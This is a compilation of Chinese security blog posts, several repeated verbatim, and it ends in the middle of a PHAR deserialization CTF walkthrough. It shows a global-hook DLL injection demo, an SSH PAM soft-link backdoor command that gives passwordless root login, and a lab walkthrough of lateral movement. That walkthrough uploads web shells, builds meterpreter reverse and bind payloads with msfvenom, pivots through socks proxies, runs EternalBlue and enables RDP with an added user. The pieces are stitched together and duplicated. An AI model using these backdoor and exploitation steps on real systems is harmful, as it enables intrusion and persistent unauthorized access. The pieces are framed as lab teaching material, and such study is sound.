0x00 HOOK概述

Hook也就是钩子,在Windows中大部分的应用程序都是基于消息机制,会根据不同的消息使用消息过程函数完成不同的功能。而钩子是一种消息处理机制,它可以比你的应用程序先获得消息,可以用来截获、监视系统的消息,改变执行流程实现特定的功能。对于全局钩子来说,它会影响所有应用程序,所以钩子函数必须在DLL中实现。

0x01 函数介绍

SetWindowsHookEx

作用:
将程序定义的钩子函数安装到挂钩链中,安装钩子的程序可以监视系统是否存在某些类型的时间,这些事件与特定线程或调用线程所在的桌面中的所有线程相关联。

函数声明:

HHOOK WINAPI SetWindowsHookEx(
    _In_ int        idHook,
    _In_ HOOKPROC     lpfn,
    _In_ HINSTANCE    hMod,
    _In_ DWORD        dwThreadId
)

参数:
idHook:
安装的钩子程序的类型,具体值参考官方手册

lpfn:
指向钩子程序过程的指针,若参数dwThreadId为0或者指示了一个其他进程创建的线程之标识符,则参数lpfn必须指向一个动态链接中的挂钩处理过程。否则,参数lpfn可以指向一个与当前进程相关的代码中定义的挂钩处理过程。

hMod:
包含由lpfn参数指向的钩子过程的DLL句柄。

dwThreadId:
与钩子程序关联的线程标识符,如果为0,则钩子过程与系统中所有线程相关联。

返回值:
成功:返回钩子过程句柄
失败:返回NULL

UnhookWindowsHookEx

作用:
卸载钩子

函数声明:

BOOL WINAPI UnsetGlobalHook(
    _In_ HHOOK hhk
)

参数:
hhk:
卸载的钩子句柄

0x02 实例代码

使用IDE:VS2019
创建一个DLL项目


pch.h:

#include "framework.h"
extern "C" _declspec(dllexport) int SetGlobalHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetGlobalHook();
#endif //PCH_H




dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}




钩子过程:

SetGlobalHook(): 设置全局钩子,WH_GETMESSAGE为监视发送到消息队列的消息的钩子,第二个参数则为钩子的回调函数。
GetMsgProc(): 钩子的回调函数,CallNextHookEx表示将当前钩子传递给下一个钩子,若返回值为0,表示中断钩子传递,对钩子进行拦截。
UnsetGlobalHook(): 卸载钩子
共享内存: 由于全局钩子是以DLL形式加载到进程中,进程都是独立的,要将进程句柄传递给其他进程,可以使用共享内存突破进程独立性,使用"/SECTION:mydata,RWS"设置为可读可写可共享的数据段。

pch.cpp:

#include "pch.h"
#include #include extern HMODULE g_hDllModule;

// 共享内存
#pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

//钩子回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam){
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

// 设置钩子
BOOL SetGlobalHook() {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (NULL == g_hHook) {
        return FALSE;
    }
    return TRUE;
}

// 卸载钩子
BOOL UnsetGlobalHook() {
    if (g_hHook) {
        UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}

2200736796.png

最终生成Dll1.dll




创建c++空项目
编译下面代码,将Dll1.dll放在生成的exe下,运行

hook.cpp:

#include #include typedef BOOL(*PEN_HOOKSTART)();
typedef BOOL(*PEN_HOOKSTOP)();

int main() {
    //加载dll
    HMODULE hDll = LoadLibrary(L"./Dll1.dll");

    if (NULL == hDll)
    {
        printf("LoadLibrary Error[%d]\n", ::GetLastError());
        return 1;
    }

    BOOL isHook = FALSE;

    //导出函数地址
    PEN_HOOKSTART SetGlobalHook = (PEN_HOOKSTART)GetProcAddress(hDll, "SetGlobalHook");

    if (NULL == SetGlobalHook)
    {
        printf("SetGlobalHook:GetProcAddress Error[%d]\n", GetLastError());
        return 2;
    }

    PEN_HOOKSTOP UnsetGlobalHook = (PEN_HOOKSTOP)GetProcAddress(hDll, "UnsetGlobalHook");

    if (NULL == UnsetGlobalHook)
    {
        printf("UnsetGlobalHook:GetProcAddress Error[%d]\n", GetLastError());
        return 3;
    }

    isHook=SetGlobalHook();

    if (isHook) {
        printf("Hook is ok!\n");
    }
    else {
        printf("Hook is error[%d]\n", GetLastError());
    }

    system("pause");

    UnsetGlobalHook();

    FreeLibrary(hDll);

    return 0;
}

2200736796.png

0x03 查看效果

使用Process Explorer查看dll:

1938202772.png

可以看到已经注入了Dll1.dll

0x00 HOOK概述

Hook也就是钩子,在Windows中大部分的应用程序都是基于消息机制,会根据不同的消息使用消息过程函数完成不同的功能。而钩子是一种消息处理机制,它可以比你的应用程序先获得消息,可以用来截获、监视系统的消息,改变执行流程实现特定的功能。对于全局钩子来说,它会影响所有应用程序,所以钩子函数必须在DLL中实现。

0x01 函数介绍

SetWindowsHookEx

作用:
将程序定义的钩子函数安装到挂钩链中,安装钩子的程序可以监视系统是否存在某些类型的时间,这些事件与特定线程或调用线程所在的桌面中的所有线程相关联。

函数声明:

HHOOK WINAPI SetWindowsHookEx(
    _In_ int        idHook,
    _In_ HOOKPROC     lpfn,
    _In_ HINSTANCE    hMod,
    _In_ DWORD        dwThreadId
)

参数:
idHook:
安装的钩子程序的类型,具体值参考官方手册

lpfn:
指向钩子程序过程的指针,若参数dwThreadId为0或者指示了一个其他进程创建的线程之标识符,则参数lpfn必须指向一个动态链接中的挂钩处理过程。否则,参数lpfn可以指向一个与当前进程相关的代码中定义的挂钩处理过程。

hMod:
包含由lpfn参数指向的钩子过程的DLL句柄。

dwThreadId:
与钩子程序关联的线程标识符,如果为0,则钩子过程与系统中所有线程相关联。

返回值:
成功:返回钩子过程句柄
失败:返回NULL

UnhookWindowsHookEx

作用:
卸载钩子

函数声明:

BOOL WINAPI UnsetGlobalHook(
    _In_ HHOOK hhk
)

参数:
hhk:
卸载的钩子句柄

0x02 实例代码

使用IDE:VS2019
创建一个DLL项目


pch.h:

#include "framework.h"
extern "C" _declspec(dllexport) int SetGlobalHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetGlobalHook();
#endif //PCH_H




dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}




钩子过程:

SetGlobalHook(): 设置全局钩子,WH_GETMESSAGE为监视发送到消息队列的消息的钩子,第二个参数则为钩子的回调函数。
GetMsgProc(): 钩子的回调函数,CallNextHookEx表示将当前钩子传递给下一个钩子,若返回值为0,表示中断钩子传递,对钩子进行拦截。
UnsetGlobalHook(): 卸载钩子
共享内存: 由于全局钩子是以DLL形式加载到进程中,进程都是独立的,要将进程句柄传递给其他进程,可以使用共享内存突破进程独立性,使用"/SECTION:mydata,RWS"设置为可读可写可共享的数据段。

pch.cpp:

#include "pch.h"
#include #include extern HMODULE g_hDllModule;

// 共享内存
#pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

//钩子回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam){
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

// 设置钩子
BOOL SetGlobalHook() {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (NULL == g_hHook) {
        return FALSE;
    }
    return TRUE;
}

// 卸载钩子
BOOL UnsetGlobalHook() {
    if (g_hHook) {
        UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}

2200736796.png

最终生成Dll1.dll




创建c++空项目
编译下面代码,将Dll1.dll放在生成的exe下,运行

hook.cpp:

#include #include typedef BOOL(*PEN_HOOKSTART)();
typedef BOOL(*PEN_HOOKSTOP)();

int main() {
    //加载dll
    HMODULE hDll = LoadLibrary(L"./Dll1.dll");

    if (NULL == hDll)
    {
        printf("LoadLibrary Error[%d]\n", ::GetLastError());
        return 1;
    }

    BOOL isHook = FALSE;

    //导出函数地址
    PEN_HOOKSTART SetGlobalHook = (PEN_HOOKSTART)GetProcAddress(hDll, "SetGlobalHook");

    if (NULL == SetGlobalHook)
    {
        printf("SetGlobalHook:GetProcAddress Error[%d]\n", GetLastError());
        return 2;
    }

    PEN_HOOKSTOP UnsetGlobalHook = (PEN_HOOKSTOP)GetProcAddress(hDll, "UnsetGlobalHook");

    if (NULL == UnsetGlobalHook)
    {
        printf("UnsetGlobalHook:GetProcAddress Error[%d]\n", GetLastError());
        return 3;
    }

    isHook=SetGlobalHook();

    if (isHook) {
        printf("Hook is ok!\n");
    }
    else {
        printf("Hook is error[%d]\n", GetLastError());
    }

    system("pause");

    UnsetGlobalHook();

    FreeLibrary(hDll);

    return 0;
}

2200736796.png

0x03 查看效果

使用Process Explorer查看dll:

1938202772.png

可以看到已经注入了Dll1.dll

0x00 HOOK概述

Hook也就是钩子,在Windows中大部分的应用程序都是基于消息机制,会根据不同的消息使用消息过程函数完成不同的功能。而钩子是一种消息处理机制,它可以比你的应用程序先获得消息,可以用来截获、监视系统的消息,改变执行流程实现特定的功能。对于全局钩子来说,它会影响所有应用程序,所以钩子函数必须在DLL中实现。

0x01 函数介绍

SetWindowsHookEx

作用:
将程序定义的钩子函数安装到挂钩链中,安装钩子的程序可以监视系统是否存在某些类型的时间,这些事件与特定线程或调用线程所在的桌面中的所有线程相关联。

函数声明:

HHOOK WINAPI SetWindowsHookEx(
    _In_ int        idHook,
    _In_ HOOKPROC     lpfn,
    _In_ HINSTANCE    hMod,
    _In_ DWORD        dwThreadId
)

参数:
idHook:
安装的钩子程序的类型,具体值参考官方手册

lpfn:
指向钩子程序过程的指针,若参数dwThreadId为0或者指示了一个其他进程创建的线程之标识符,则参数lpfn必须指向一个动态链接中的挂钩处理过程。否则,参数lpfn可以指向一个与当前进程相关的代码中定义的挂钩处理过程。

hMod:
包含由lpfn参数指向的钩子过程的DLL句柄。

dwThreadId:
与钩子程序关联的线程标识符,如果为0,则钩子过程与系统中所有线程相关联。

返回值:
成功:返回钩子过程句柄
失败:返回NULL

UnhookWindowsHookEx

作用:
卸载钩子

函数声明:

BOOL WINAPI UnsetGlobalHook(
    _In_ HHOOK hhk
)

参数:
hhk:
卸载的钩子句柄

0x02 实例代码

使用IDE:VS2019
创建一个DLL项目


pch.h:

#include "framework.h"
extern "C" _declspec(dllexport) int SetGlobalHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetGlobalHook();
#endif //PCH_H




dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}




钩子过程:

SetGlobalHook(): 设置全局钩子,WH_GETMESSAGE为监视发送到消息队列的消息的钩子,第二个参数则为钩子的回调函数。
GetMsgProc(): 钩子的回调函数,CallNextHookEx表示将当前钩子传递给下一个钩子,若返回值为0,表示中断钩子传递,对钩子进行拦截。
UnsetGlobalHook(): 卸载钩子
共享内存: 由于全局钩子是以DLL形式加载到进程中,进程都是独立的,要将进程句柄传递给其他进程,可以使用共享内存突破进程独立性,使用"/SECTION:mydata,RWS"设置为可读可写可共享的数据段。

pch.cpp:

#include "pch.h"
#include #include extern HMODULE g_hDllModule;

// 共享内存
#pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

//钩子回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam){
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

// 设置钩子
BOOL SetGlobalHook() {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (NULL == g_hHook) {
        return FALSE;
    }
    return TRUE;
}

// 卸载钩子
BOOL UnsetGlobalHook() {
    if (g_hHook) {
        UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}

2200736796.png

最终生成Dll1.dll




创建c++空项目
编译下面代码,将Dll1.dll放在生成的exe下,运行

hook.cpp:

#include #include typedef BOOL(*PEN_HOOKSTART)();
typedef BOOL(*PEN_HOOKSTOP)();

int main() {
    //加载dll
    HMODULE hDll = LoadLibrary(L"./Dll1.dll");

    if (NULL == hDll)
    {
        printf("LoadLibrary Error[%d]\n", ::GetLastError());
        return 1;
    }

    BOOL isHook = FALSE;

    //导出函数地址
    PEN_HOOKSTART SetGlobalHook = (PEN_HOOKSTART)GetProcAddress(hDll, "SetGlobalHook");

    if (NULL == SetGlobalHook)
    {
        printf("SetGlobalHook:GetProcAddress Error[%d]\n", GetLastError());
        return 2;
    }

    PEN_HOOKSTOP UnsetGlobalHook = (PEN_HOOKSTOP)GetProcAddress(hDll, "UnsetGlobalHook");

    if (NULL == UnsetGlobalHook)
    {
        printf("UnsetGlobalHook:GetProcAddress Error[%d]\n", GetLastError());
        return 3;
    }

    isHook=SetGlobalHook();

    if (isHook) {
        printf("Hook is ok!\n");
    }
    else {
        printf("Hook is error[%d]\n", GetLastError());
    }

    system("pause");

    UnsetGlobalHook();

    FreeLibrary(hDll);

    return 0;
}

2200736796.png

0x03 查看效果

使用Process Explorer查看dll:

1938202772.png

可以看到已经注入了Dll1.dll

00 利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grep UsePAM

01 建立后门

建立软连接后门:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234

注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find/etc/pam.d|xargs grep "pam_rootok",出现的则可以用作软链接名称

# find /etc/pam.d |xargs grep "pam_rootok"                           123 ⨯
grep: /etc/pam.d: 是一个目录
/etc/pam.d/su:auth       sufficient pam_rootok.so
/etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so").
/etc/pam.d/runuser:auth         sufficient      pam_rootok.so
/etc/pam.d/chsh:auth            sufficient      pam_rootok.so
/etc/pam.d/chfn:auth            sufficient      pam_rootok.so
测试

使用root执行命令
# ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234

然后使用ssh任意密码连接1234端口登录root账户
02 原理

1.pam_rootok.so模块

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。


2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。


00 利用前提

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:cat/etc/ssh/sshd_config|grep UsePAM

01 建立后门

建立软连接后门:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234

注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find/etc/pam.d|xargs grep "pam_rootok",出现的则可以用作软链接名称

# find /etc/pam.d |xargs grep "pam_rootok"                           123 ⨯
grep: /etc/pam.d: 是一个目录
/etc/pam.d/su:auth       sufficient pam_rootok.so
/etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so").
/etc/pam.d/runuser:auth         sufficient      pam_rootok.so
/etc/pam.d/chsh:auth            sufficient      pam_rootok.so
/etc/pam.d/chfn:auth            sufficient      pam_rootok.so
测试

使用root执行命令
# ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234

然后使用ssh任意密码连接1234端口登录root账户
02 原理

1.pam_rootok.so模块

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

我们查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。


2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。


近年来,攻击者潜伏在企业内网进行攻击的安全事件屡见不鲜,攻击者在经常会企业的内网进行横向渗透,令防守方防不胜防。因此,我们应该严格控制好网络区域之间的访问规则,加大攻击横向渗透的阻力。本文由锦行科技的安全研究团队提供,旨在通过实验演示进一步了解攻击者是如何在多层内网进行的渗透。

1. 实验简介

网络拓扑图

1.png

渗透机:win10+kali

第一层靶机 (外网web服务器):  Linux

第二场靶机 (内网web服务器):  Linux

第三层靶机 (内网办公机) : win7

用三层网络来模拟内外网环境,主要了解MSF、内网转发等。

2. 环境搭建

第一层网络

把渗透机kali和win10网卡1设置选择VMnet1:

2.jpg 

靶机Linux网卡1设置选择VMnet1,添加网卡2 设置选择VMnet2:

3.jpg 

第二层网络

将第二台靶机Linux网卡1设置选择VMnet2,添加网卡2 设置选择VMnet3:

4.png 

第三层网络

将靶机win7网卡1设置选择VMnet3:

5.png 

再配置好各台机器对应IP即可。

最后

在第一台Linux和第二台Linux上搭建一个php上传页面,设为存在文件上传漏洞的web页面,以便后续的拿shell进行内网渗透。

第一台Linux

6.png 

第二台Linux

7.png 

3. 实验过程

第一层靶机

win10访问http://192.168.85.131/直接上传一句话木马

8.png 

9.png 

蚁剑连接

10.png 

11.png 

*进一步做内网渗透,上传msf后门*

打开kali msfconsole 输入msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf

生成一个名为mshell.elf的msf后门文件

12.png

 蚁剑把后门文件上传到Linux靶机

13.png 

返回msf 开启监听

use exploit/multi/handler      使用监听模块

set payload linux/x64/meterpreter/reverse_tcp    使用和木马相同的payload

set lhost 192.168.85.128   kaili 的ip

set lport 4444        木马的端口

run             执行

14.png 

蚁剑打开虚拟终端cd到后门文件的目录下,执行后门文件,输入

chmod 777 mshell.elf      加执行权限

./mshell.elf            执行文件

15.png 

Kail接受到MSF会话

16.png 

输入ifconfig,发现第二层172.10.10.0/24网段

17.png 

添加路由

background     将会话转到后台

route add 172.10.10.0/24 1 

      添加 172.10.10.0/24网段 使用session1

route print    查看路由表

18.png 

使用MSF建立socks代理

use auxiliary/server/socks4a

set srvhost 192.168.85.128

set srvport 10080

run

19.png 

配置socks4代理的相关客户端Proxychains

在配置文件/etc/proxychains.conf中添加:

socks4 192.168.85.128 10080

vi /etc/proxychains.conf

20.png 

添加socks4 192.168.85.128 10080

21.png 

这样利用proxychains启动的应用都可以带sock4代理,proxychains 为kali自带的,非MSF里的。

*建立好代理后渗透机可以通过这台Linux当跳板机进入第二层网络*

第二层网络

*nmap探测存在web服务的主机*

用proxychans启动nmap对第二层网段进行80端口扫描,执行proxychains nmap -sT -Pn -p 80 172.10.10.0/24

22.png 

扫描发现55和56存在web服务,172.10.10.56即为第二层网络的ip

23.png 

由于proxychains无法代理icmp的数据包,所以必须添加-sT -Pn参数,即不检测主机是否存活,直接进行端口tcp扫描。

*脚本探测存活主机*

在本地创建一个名为ping.sh的脚本,脚本内容如下:

#!/bin/bash
ip="172.10.10."
echo "ping log:" > ./ping.txt
for i in {1..254}
do
   ping -c 1 -w 1 -W 1 $ip$i | grep -q "ttl=" && echo "$ip$i [yes]" >> ./ping.txt || echo "$ip$i [no]" >> ./ping.txt &
done
echo "wait 5s...."
sleep 5
cat ./ping.txt
cat ./ping.txt | wc -l
·

24.png

Kali进入session1会话,然后upload命令上传刚刚创建的脚本到靶机upload /root/ping.sh /var/www/hrml/upload

25.png 

进入shell执行

python -c 'import pty;pty.spawn("/bin/bash")'  

创建一个完全交互式shell,后

Chmod 777 ping.sh

./ping.sh

可以看到172.10.10.0/24网段存活56.57两台

26.png 

*知道存活主机ip后就可以继续进入第二层内网主机*

渗透机浏览器配置sock4a代理

27.png 

28.png 

蚁剑加代理连接

29.png 

连接 http://172.10.10.56/upload/php1.php

30.png 

*进一步做内网渗透,继续上传msf后门*

*制作MSF后门*

返回kali msf 输入

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf

生成 mshell1.elf后门文件

31.png

因为在内网跨网段时无法反向代理连接到渗透的机器,所以这里使用linux/x64/meterpreter/bind_tcp 这个payload进行正向代理连接。

蚁剑上传后门

32.png 

33.png 

蚁剑打开虚拟终端执行后门文件

34.png 

返回会话

35.png 

输入ifconfig 发现第三层网络的网段10.10.10.0/24

36.png 

第三层网络

添加路由

background

route add 10.10.10.0/24 2

route print

37.png 

进入session 2 上传 脚本 探测存活主机

注意把脚本的ip段修改成该网段再上传

38.png

探测到第三层网段的存活ip :10.10.10.101

39.png 

proxychans 启动nmap对10.10.10.101的1-500端口扫描,执行

proxychains nmap -sT -Pn -p 1-500 10.10.10.101

40.png 

发现445端口开启

41.png 

尝试使用ms17-010

use windows/smb/ms17_010_eternalblue

set rhost 10.10.10.101

set payload windows/x64/meterpreter/bind_tcp

set lport 4466

42.png 

Run ,存在445漏洞

 43.png

执行成功,返回会话

44.png 

开启3389远程桌面

run post/windows/manage/enable_rdp     开启远程桌面

run post/windows/manage/enable_rdp USERNAME=zzy [email protected]#   添加远程用户

45.png

将3389端口转回kali本地5555端口

portfwd add -l 5555 -p 3389 -r 10.10.10.101

46.png 

Win10远程桌面连接

47.png 

登陆成功

48.png 


近年来,攻击者潜伏在企业内网进行攻击的安全事件屡见不鲜,攻击者在经常会企业的内网进行横向渗透,令防守方防不胜防。因此,我们应该严格控制好网络区域之间的访问规则,加大攻击横向渗透的阻力。本文由锦行科技的安全研究团队提供,旨在通过实验演示进一步了解攻击者是如何在多层内网进行的渗透。

1. 实验简介

网络拓扑图

1.png

渗透机:win10+kali

第一层靶机 (外网web服务器):  Linux

第二场靶机 (内网web服务器):  Linux

第三层靶机 (内网办公机) : win7

用三层网络来模拟内外网环境,主要了解MSF、内网转发等。

2. 环境搭建

第一层网络

把渗透机kali和win10网卡1设置选择VMnet1:

2.jpg 

靶机Linux网卡1设置选择VMnet1,添加网卡2 设置选择VMnet2:

3.jpg 

第二层网络

将第二台靶机Linux网卡1设置选择VMnet2,添加网卡2 设置选择VMnet3:

4.png 

第三层网络

将靶机win7网卡1设置选择VMnet3:

5.png 

再配置好各台机器对应IP即可。

最后

在第一台Linux和第二台Linux上搭建一个php上传页面,设为存在文件上传漏洞的web页面,以便后续的拿shell进行内网渗透。

第一台Linux

6.png 

第二台Linux

7.png 

3. 实验过程

第一层靶机

win10访问http://192.168.85.131/直接上传一句话木马

8.png 

9.png 

蚁剑连接

10.png 

11.png 

*进一步做内网渗透,上传msf后门*

打开kali msfconsole 输入msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf

生成一个名为mshell.elf的msf后门文件

12.png

 蚁剑把后门文件上传到Linux靶机

13.png 

返回msf 开启监听

use exploit/multi/handler      使用监听模块

set payload linux/x64/meterpreter/reverse_tcp    使用和木马相同的payload

set lhost 192.168.85.128   kaili 的ip

set lport 4444        木马的端口

run             执行

14.png 

蚁剑打开虚拟终端cd到后门文件的目录下,执行后门文件,输入

chmod 777 mshell.elf      加执行权限

./mshell.elf            执行文件

15.png 

Kail接受到MSF会话

16.png 

输入ifconfig,发现第二层172.10.10.0/24网段

17.png 

添加路由

background     将会话转到后台

route add 172.10.10.0/24 1 

      添加 172.10.10.0/24网段 使用session1

route print    查看路由表

18.png 

使用MSF建立socks代理

use auxiliary/server/socks4a

set srvhost 192.168.85.128

set srvport 10080

run

19.png 

配置socks4代理的相关客户端Proxychains

在配置文件/etc/proxychains.conf中添加:

socks4 192.168.85.128 10080

vi /etc/proxychains.conf

20.png 

添加socks4 192.168.85.128 10080

21.png 

这样利用proxychains启动的应用都可以带sock4代理,proxychains 为kali自带的,非MSF里的。

*建立好代理后渗透机可以通过这台Linux当跳板机进入第二层网络*

第二层网络

*nmap探测存在web服务的主机*

用proxychans启动nmap对第二层网段进行80端口扫描,执行proxychains nmap -sT -Pn -p 80 172.10.10.0/24

22.png 

扫描发现55和56存在web服务,172.10.10.56即为第二层网络的ip

23.png 

由于proxychains无法代理icmp的数据包,所以必须添加-sT -Pn参数,即不检测主机是否存活,直接进行端口tcp扫描。

*脚本探测存活主机*

在本地创建一个名为ping.sh的脚本,脚本内容如下:

#!/bin/bash
ip="172.10.10."
echo "ping log:" > ./ping.txt
for i in {1..254}
do
   ping -c 1 -w 1 -W 1 $ip$i | grep -q "ttl=" && echo "$ip$i [yes]" >> ./ping.txt || echo "$ip$i [no]" >> ./ping.txt &
done
echo "wait 5s...."
sleep 5
cat ./ping.txt
cat ./ping.txt | wc -l
·

24.png

Kali进入session1会话,然后upload命令上传刚刚创建的脚本到靶机upload /root/ping.sh /var/www/hrml/upload

25.png 

进入shell执行

python -c 'import pty;pty.spawn("/bin/bash")'  

创建一个完全交互式shell,后

Chmod 777 ping.sh

./ping.sh

可以看到172.10.10.0/24网段存活56.57两台

26.png 

*知道存活主机ip后就可以继续进入第二层内网主机*

渗透机浏览器配置sock4a代理

27.png 

28.png 

蚁剑加代理连接

29.png 

连接 http://172.10.10.56/upload/php1.php

30.png 

*进一步做内网渗透,继续上传msf后门*

*制作MSF后门*

返回kali msf 输入

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf

生成 mshell1.elf后门文件

31.png

因为在内网跨网段时无法反向代理连接到渗透的机器,所以这里使用linux/x64/meterpreter/bind_tcp 这个payload进行正向代理连接。

蚁剑上传后门

32.png 

33.png 

蚁剑打开虚拟终端执行后门文件

34.png 

返回会话

35.png 

输入ifconfig 发现第三层网络的网段10.10.10.0/24

36.png 

第三层网络

添加路由

background

route add 10.10.10.0/24 2

route print

37.png 

进入session 2 上传 脚本 探测存活主机

注意把脚本的ip段修改成该网段再上传

38.png

探测到第三层网段的存活ip :10.10.10.101

39.png 

proxychans 启动nmap对10.10.10.101的1-500端口扫描,执行

proxychains nmap -sT -Pn -p 1-500 10.10.10.101

40.png 

发现445端口开启

41.png 

尝试使用ms17-010

use windows/smb/ms17_010_eternalblue

set rhost 10.10.10.101

set payload windows/x64/meterpreter/bind_tcp

set lport 4466

42.png 

Run ,存在445漏洞

 43.png

执行成功,返回会话

44.png 

开启3389远程桌面

run post/windows/manage/enable_rdp     开启远程桌面

run post/windows/manage/enable_rdp USERNAME=zzy [email protected]#   添加远程用户

45.png

将3389端口转回kali本地5555端口

portfwd add -l 5555 -p 3389 -r 10.10.10.101

46.png 

Win10远程桌面连接

47.png 

登陆成功

48.png 


PHAR (“Php ARchive”) 是PHP中的打包文件,相当于Java中的JAR文件,在php5.3或者更高的版本中默认开启。PHAR文件缺省状态是只读的,当我们要创建一个Phar文件需要修改php.ini中的phar.readonly,修改为:phar.readonly = 0

当通过phar://协议对phar文件进行文件操作时,将会对phar文件中的Meta-data进行反序列化操作,可能造成一些反序列化漏洞。

本文由锦行科技的安全研究团队提供,从攻击者的角度展示了PHAR反序列化攻击的原理和过程。

PHAR文件结构

stub phar:文件标识,格式为xxx

manifest:压缩文件的属性等信息,其中的Meta-data会以序列化的形式存储。

4256307662.png

contents:压缩文件的内容

signature:签名,放在文件末尾

生成PHAR文件

生成程序如下:

image.png

生成phar文件,使用16进制工具查看,可以看到Meta-data中的序列化对象

3864660621.png

测试反序列化

测试程序如下:

image.png

运行结果,可以看到打印了‘test’,证明对象被反序列化创建后销毁。

2402645577.png

虽然在创建PHAR文件时后缀是固定的,但完成创建后我们是可以修改phar的后缀名的,例如修改成.jpg,当执行include('phar://phar.jpg');时也可触发反序列化。

几乎所有文件操作函数都可触发phar反序列化

3102114844.png


CTF演示

题目地址:[CISCN2019 华北赛区 Day1 Web1]Dropbox(链接:https://buuoj.cn/challenges#%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox)

进入题目后,随意注册账号上传文件,上传点只能上传图片后缀

3519686874.png

点击下载,有任意文件读取,但是不能读取flag.txt

4029773680.png

于是读取网页源码,传入filename=../../xxx.php

detele.php

image.png

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

